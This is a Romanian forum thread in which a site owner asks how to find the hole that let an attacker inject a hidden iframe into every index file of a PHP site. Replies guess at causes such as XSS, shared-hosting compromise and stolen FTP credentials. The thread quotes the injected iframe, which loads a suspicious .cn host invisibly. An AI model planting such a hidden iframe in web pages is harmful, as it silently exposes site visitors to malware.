Se poate afla daca un site are sau nu vulnerabilitati?

Salut

Am tot cautat pe Google, dar n-am gasit nici o solutie, deci m-am decis sa intreb aici:

Se poate testa / audita cumva o pagina web dpdv a securitatii? Ma refer la descoperirea portitelor prin care se poate introduce cod malitios in sursa paginii?

Caz concret: e vorba de un site facut in css+html, care mai foloseste un phponline 2.1.2 (php+mysql).

La un moment dat in toate fisierele denumite index a aparut un iframe cu continut strain:

Cod:

---

<iframe src="(Link: http:// litedownloadseek.cn/in.cgi?cocacola16)http:// litedownloadseek.cn/in.cgi?cocacola16" width=1 height=1 style="visibility: hidden"></iframe>

---

N-am gasit portita inca... si site-ul apare ca "Reported attack site" de 2 saptamani (a fost curatata sursa, a fost trimisa adresa la Google pentru reconsideration dar inca fara rezultat).

Cat oferi? :D

:P un forum de profitori :D :D

Sfaturi, ceva? Pe gratis eventual :D

Nu prea le am cu php , dar m-am apucat sa invat. Am citit chiar azi ceva despre vulnerabilitati aici .

De ce nu muti siteul pe un server cu ultima versiune de php ? Daca nu ai descoperit cauza atacului ,se poate repeta ...

Nu e profitori bre da nu-ti da nimeni pe gratis ce a acumulat in 15 ani. Da ca sfat vechi de cand internetul: e normal sa patesti asa cand folosesti scripturi luate de pe net, in special daca nu sunt luate de la surse de incredere.
Incearca sa iei de pe SF daca tot iei de pe net.

Citat:

---

Postat în original de haos

Nu e profitori bre

---

No offence, glumeam :D

Am cautat pe gogu dupa vulnerabilitatile scriptului phpOnline, si nu s-a documentat nici o vulnerabilitate din cate am observat...

Apropos, acest lucru pe care l-am intalnit se numeste "cross site scripting" (XSS)?

Mai există şi varianta în care nu e vina scriptului, ci a administratorilor sau a altui client ( dacă e vorba de găzduire shared ).

Şi eu am păţit ceva asemănător doar că în cazul meu mi-au fost rescrise fişierele .htaccess. Dacă intrai pe sit cu un browser vedeai o pagină "în construcţie", iar dacă erai Google sau Yahoo erai redirecţionat ( 301 ) către altă locaţie.

am patit si eu faza cu iFrame odata si mi-au fost infectoate toate index.php, header.php si footer.php de la multe site-uri. Am schimbat hostingul cu unul mai bun si am instalat ultimele versiuni sigure de CMS-uri si problemele au disparut. Cred ca nu e vorba de vulnerabilitatea site-ului ci de vulnerabilitatea serverului pe care e hostat.

Cand cineva are nevoie de ajutor pt ca i-a fost spart siteul sau whatever, nu e etic sa ii ceri bani.Poti sa ii dai macar niste indicii.

Daca vroia sa isi faca un site cu jocuri poker sau felicitari cred ca era altceva.

In fine , fiecare are morala si etica sa, dar roata se invarte tot timpul , daca ati observat :)

Lectura placuta: http://www.docstoc.com/docs/1195753/php-security

(oarecum offtopic)

evolution :P. daca aveam o adresa pe care sa fac teste poate aflam cate ceva. dar e de luat in seama ce zice nosfer si eugen.
cam astea ar fi variantele: XSS sau vulnerabilitatile si setarile serverului pe care e hostat.

Incearca sa verifici si siturile care se afla pe acelasi server cu tine.

este vulnerabil daca este parola de la ftp prea simpla

sau .. sunt virusi care copiaza user si pass de la ftp-uri din pc si astfel se ajunge la astfel de chestii gen iframe

nu hosterul este de vina

Citat:

---

Postat în original de Stelian

Incearca sa verifici si siturile care se afla pe acelasi server cu tine.

---

Celelalte situri n-au avut parte de asemenea atentie speciala :D

care este adresa ? eventual PM

Citat:

---

Postat în original de GExGE

Lectura placuta: http://www.docstoc.com/docs/1195753/php-security

(oarecum offtopic)

---

Multumesc, il voi citi